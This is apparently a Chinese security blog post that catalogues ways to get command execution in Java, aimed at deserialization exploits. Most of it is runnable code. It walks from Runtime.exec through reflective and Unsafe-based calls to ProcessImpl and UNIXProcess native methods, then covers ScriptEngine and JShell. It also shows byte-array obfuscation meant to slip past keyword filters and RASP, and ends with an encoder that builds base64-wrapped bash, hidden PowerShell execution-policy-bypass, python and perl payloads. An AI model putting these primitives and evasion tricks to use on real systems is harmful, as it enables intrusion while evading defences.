导言

我们一起来弹计算器吧~

在 Java 反序列化中, 我们通常会通过反序列化来最终造成命令执行.

在 Java 中, 命令执行有很多种造成方法, 我们来列举一下:

首先我们从最基础的 RCE 调用开始:

[java.lang.] Runtime.getRuntime().exec("calc");

当然, 我们可以追到更底层一点, 这个函数的调用链如下:

|- java.lang.Runtime.exec()
    |- java.lang.ProcessBuilder.start()
        |- java.lang.ProcessImpl.start()
            |- java.lang.ProcessImpl.new()
                |- java.lang.ProcessImpl.create() <native>

最终会落到 JNI 中的 create 方法.

在 Unix 平台下, 这个的最后两个调用链会有差别:

在 Java 8 下有

|- java.lang.Runtime.exec()
    |- java.lang.ProcessBuilder.start()
        |- java.lang.ProcessImpl.start()
            |- java.lang.UNIXProcess.new()
                |- java.lang.UNIXProcess.forkAndExec() <native>

在 Java 9 之后, ProcessImplUNIXProcess 进行了合并, 调用链和 Windows 下类似

|- java.lang.Runtime.exec()
    |- java.lang.ProcessBuilder.start()
        |- java.lang.ProcessImpl.start()
            |- java.lang.ProcessImpl.new()
                |- java.lang.ProcessImpl.forkAndExec() <native>

对于不同的平台, 此方法有不同的具体实现, 我们于是可以利用这个调用链中的任意一环来进行 RCE

每一个方法的名称参照 Yso 中的命名来

RuntimeExec

最简单的一集

Runtime.getRuntime().exec("calc");

我们来剖析以下这个方法, Runtime.getRuntime() 为一个静态方法, 返回了当前的实例唯一的一个 runtime

image-20240507200717181

这个 Runtime 在程序开始时会被赋值, 之后调用 getRuntime 就可以拿到这个 currentRuntime, 当然, 我们也可以直接一点, 通过反射拿一下这个 currentRuntime

Field f = Runtime.class.getDeclaredField("currentRuntime");
f.setAccessible(true);
Runtime r = (Runtime) f.get(null);
r.exec("calc");

(有点脱裤子放屁就是了)

exec 方法的最底层形式是:

Process exec (String[] cmdarray, String[] envp, File dir)
  • 第一个参数为 cmdArray, 将你的命令使用空格拆分, 默认第一个为可执行文件的路径
  • 第二个参数为一个环境变量数组 name=value
  • 第三个变量为工作目录

ProcessBuilderExec

第二简单的一集
new ProcessBuilder("calc").start();

我们也来追一下这个方法, 这个会先创建一个 ProcessBuilder 类, 设置他的 command 的数组

之后 start 方法也是到了 ProcessImpl.start

ProcessImplExec#1

这个就有点难了, 因为这个类是 package-private 的需要通过反射来拿到

以下为调用流程, 这里赘述以下

我们先通过反射拿到 ProcessImpl

Class<?> clazz = Class.forName("java.lang.ProcessImpl");

我们观察到方法签名:

static Process start(String cmdarray[],
                 java.util.Map<String,String> environment,
                 String dir,
                 ProcessBuilder.Redirect[] redirects,
                 boolean redirectErrorStream)

于是拿到 Method

Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

因为这个 Method 是 private 的, 我们设置一下他的访问性

start.setAccessible(true);

之后就可以直接调用啦~

最后完整版如下:

Class clazz = Class.forName("java.lang.ProcessImpl");
Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
start.invoke(clazz, new String[]{"calc"}, null, null, null, false);

ProcessImplExec#2

在 Windows 平台上, 我们再跟进一层, 会发现其实 ProcessImpl.start 调用了

return new ProcessImpl(cmdarray, envblock, dir,
                       stdHandles, redirectErrorStream);

我们也可以通过这个构造函数来进行 RCE, 方法签名为:

private ProcessImpl(String cmd[],
                        final String envblock,
                        final String path,
                        final long[] stdHandles,
                        final boolean redirectErrorStream)

于是我们同样可以通过反射来拿到他

Class clazz = Class.forName("java.lang.ProcessImpl");
Constructor constructor = clazz.getDeclaredConstructor(String[].class, String.class, String.class, long[].class, boolean.class);
constructor.setAccessible(true);
constructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1,-1,-1}, false);

ProcessImplNative

此方法通常为遇到了过滤这上面的调用链中的所有方法并且不太好用其他方法绕过时可以用这个

Native 的方法通常不会很好的 RASP 掉

我们可以直接反射拿到这个 native

Windows 平台下有:

Class processImpl = Class.forName("java.lang.ProcessImpl");
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(null, "calc", null, null, stdHandles, false);

对于 Linux 平台的话, 我们可以使用 UNIXProcess.forkAndExec, 但是这个并非是 static 的方法, 我们需要创建一个 UNIXProcess 实例, 利用 Unsafe 即可:

在 Java 9 之后, UNIXProcess 和 ProcessImpl 进行了合并
String cmd = "whoami";

// get unsafe
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field getUnsafe = unsafeClass.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);


Class clazz = Class.forName("java.lang.UNIXProcess");
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
int[] ineEmpty = {-1, -1, -1};
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

看完了命令执行, 我们再来看看代码执行

ScriptEngine

Java 中有 ScriptEngine, 可以执行 JS 代码并和 Java 互操作, 我们可以利用他

String exp = "function demo() {return java.lang.Runtime};d=demo();d.getRuntime().exec(\"calc\")";
// String exp = "var test=Java.type(\"java.lang.Runtime\"); print(test.getRuntime().exec(\"calc\"))";
// String exp = "var CollectionsAndFiles = new JavaImporter(java.lang);with (CollectionsAndFiles){var x= Runtime.getRuntime().exec(\"calc\")}";
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(exp);

详细可以看看 Java 安全 - ScriptEngine (还在孵化)

JShell

在 Java 9 之后引入了 JShell

try {
    JShell.builder().build().eval(new String("Runtime.getRuntime().exec("calc").getInputStream().readAllBytes()"));
} catch (Exception e) {
    e.printStackTrace();
}

绕过

采用 byte array 反射

String className = "java.lang.Runtime";
byte[] classNameBytes = className.getBytes(); // [106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101]
System.out.println(Arrays.toString(classNameBytes));

String methodName = "getRuntime";
byte[] methodNameBytes = methodName.getBytes(); // [103, 101, 116, 82, 117, 110, 116, 105, 109, 101]
System.out.println(Arrays.toString(methodNameBytes));

String methodName2 = "exec";
byte[] methodNameBytes2 = methodName2.getBytes(); // [101, 120, 101, 99]
System.out.println(Arrays.toString(methodNameBytes2));

String payload = "calc";
// 反射java.lang.Runtime类获取class对象
Class<?> clazz = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的getRuntime方法
Method method1 = clazz.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method method2 = clazz.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec()方法
method2.invoke(method1.invoke(null, new Object[]{}), new Object[]{payload});

杂谈

对于 Java 通常我们拿到的命令执行点不能执行太复杂的指令, 我们可以通过一个工具来将命令编个码再执行:

<!DOCTYPE html>
<!-- saved from url=(0046)https://harvey.plus/runtime-exec-payloads.html -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>

    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>

<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
  }

  taInput.addEventListener('input', processInput, false);
</script>


</body></html>

参考资料

感谢 @H3rmesk1t 师傅帮我复现了并确定 Linux 下的可行性